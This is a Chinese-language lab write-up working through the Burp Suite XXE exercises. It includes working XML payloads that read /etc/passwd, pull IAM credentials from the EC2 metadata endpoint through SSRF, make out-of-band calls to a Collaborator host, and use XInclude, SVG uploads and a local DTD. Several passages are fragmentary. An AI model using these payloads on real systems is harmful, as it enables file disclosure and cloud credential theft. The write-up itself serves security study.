burpsuit 靶场的 xxe
APPRENTICE (学徒)
利用XXE 执行外部文件
Exploiting XXE using external entities to retrieve files
目标 :
This lab has a “Check stock” feature that parses XML input and returns any unexpected values in the response.
To solve the lab, inject an XML external entity to retrieve the contents of the /etc/passwd file.
进入实验室
是一个卖东西的网站 抓包 看看数据
当我点击 Check stock 抓包
发现 post 数据里面存在xml 格式的数据
如果把数据改成我们想要的内容了 比如执行system 获取文件内容
使用 file协议直接读取到了 /etc/passwd 文件
payload
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [
<!ENTITY file SYSTEM "file:///etc/passwd"> ]>
<stockCheck><productId>&file;</productId><storeId>1</storeId></stockCheck>
利用 XXE 执行 SSRF 攻击
(Exploiting XXE to perform SSRF attacks)
目标 :
This lab has a “Check stock” feature that parses XML input and returns any unexpected values in the response.
The lab server is running a (simulated) EC2 metadata endpoint at the default URL, which is http://169.254.169.254/. This endpoint can be used to retrieve data about the instance, some of which might be sensitive.
To solve the lab, exploit the XXE vulnerability to perform an SSRF attack that obtains the server’s IAM secret access key from the EC2 metadata endpoint.
还是一样的检索数据的 功能
点击抓包
还是直接存在 xml 数据
根据burpsuit 靶场 要求我们获取的敏感数据
这里就是把file 换成了 http 进行探测获取铭感信息
payload
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY[
<!ENTITY ssrf SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin">
]>
<stockCheck><productId>&ssrf;</productId><storeId>1</storeId></stockCheck>
PRACTITIONER (专业人员 )
XXE盲打
SQL盲注类似,就是我们无法直接从响应中获取到想要的结果,但是我们可以通过如带外的方式将结果发送到接收端的方式实现。前面讲过可以利用XXE发动SSRF攻击请求URL,我们可以将结果附在URL后面,这样在接收端就能接收到结果了。我们还可以通过触发报错信息的方式获取敏感信息。
使用带外(OAST)技术探测XXE盲打
如利用XXE发动SSRF攻击,带外技术通过XXE与远端服务器进行交互,从而探测是否存在XXE盲打漏洞,例如
]>
有些情况下,目标服务器对常规XXE攻击进行了防护,不过我们可以尝试使用XML参数实体,例如
%xxe; ]>
通过定义参数实体同样可以用来探测XXE盲打。
Blind XXE with out-of-band interaction (带外交互deXXE)
还是一样的界面
但是这里使用原来的file 去读取文件 是不可行的了
那就使用XXE 盲打 外带
发到repeater,然后构造payload,将burp collaborator的地址插进去
由于我这个burp 的 Collaborator 有点问题 一直接收不了外带的数据
这里如果 外带 互联网的数据 还是不行 burp 官方只让带burp 的那个 这里
由于这里burp 的原因就展示不出外带的结果 当然这里外带的方法就是这样的
Blind XXE with out-of-band interaction via XML parameter entities (通过XML参数实体使用带外交互的XXE盲打)
因为常规外部实体被禁用了,所以可以尝试使用参数实体,构造payload
payload
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE stockCheck [ <!ENTITY % xxe SYSTEM "http://s4xi9f5ycn796biaz8qtrofzyq4gs5.burpcollaborator.net"> %xxe ]>
<stockCheck><productId>1</productId><storeId>2</storeId></stockCheck>
Exploiting blind XXE to exfiltrate data using a malicious external DTD (使用一个恶意外部DTD利用XXE盲打泄露数据)
先使用
Go to exploit server 构造 dtd 文件
然后在xxe漏洞利用点去加载 这个 dtd文件
我这里只做 步骤和发现 实现的话 由于这个靶场外带不了到其他平台 这边burp 又有问题
Exploiting blind XXE to retrieve data via error messages(通过报错信息利用XXE盲打泄露数据)
和上面的方法一样 先在服务器创建一个 dtd文件
然后抓包再修改有xxe 漏洞利用的地方
我们加载了一个不存在的文件以触发报错,然后我们在漏洞点加载这个恶意外部DTD
成功获取到了信息
Exploiting XInclude to retrieve files (利用Xinclude 检索文件)
By default, XInclude will try to parse the included document as XML. Since /etc/passwd isn’t valid XML, you will need to add an extra attribute to the XInclude directive to change this behavior.
默认情况下,XInclude将尝试将包含的文档解析为XML。由于/etc/passwd不是有效的XML,您需要向XInclude指令添加一个额外的属性来改变这种行为。
有些应用程序的服务端会将从客户端接收的内容嵌入到XML文档中然后解析,这就导致因为我们无法控制整个XML文档而无法发动常规的XXE攻击,但是我们可以通过XInclude在该XML文档中构建子XML文档,想要使用XInclude我们需要引入相应的命名空间,所以XInclude攻击的payload长这样
同样的界面 不同的数据
先发送一条带有xml 的数据
会发现报错
发送 Xincluide 攻击的 payload
<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/></foo>
Exploiting XXE via image file upload 通过文件上传的XXE攻击
既然是文件上传
先找上传点
再制作一个xml 的svg 图像
<?xml version="1.0" standalone="yes"?><!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]><svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"><text font-size="16" x="0" y="16">&xxe;</text></svg>
上传 .svg 文件之后 f12 查看图片
就会发现执行了命令
EXPERT
Exploiting XXE to retrieve data by repurposing a local DTD (通过复用本地DTD利用XXE盲打)
本地dtd复用 那就需要本地存在dtd文件
刚好靶场环境提示了 存在 dtd文件
Convex LAB没有解决这个实验室有一个“检查库存”特性,它可以解析XML输入,但不显示结果。要解决实验室问题,触发包含/etc/passwd文件内容的错误消息。您需要引用服务器上现有的DTD文件,并从中重新定义一个实体。提示使用GNOME桌面环境的系统通常有一个位于/usr/share/ yyelp / DTD /docbook .的DTD包含名为Isoamso的实体的dtd。进入实验室
抓包
使用 local_dtd 把本地文件给引用进来
内部DTD中有一个参数实体叫custom_entity,然后重写了这个参数实体,
在参数实体内部声明参数实体时关键字需要使用它的html编码格式,比如
& -> &
' -> '
其他的和前面利用报错信息的XXE盲打方式是一样
这种复用本地DTD的攻击方式重点在于我们能不能找到一个这样的本地DTD,现在很多应用程序都是开源的,所以我们可以下载源码包进行查找。
Payload
<!DOCTYPE message [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
'>
%local_dtd;
]>
执行成功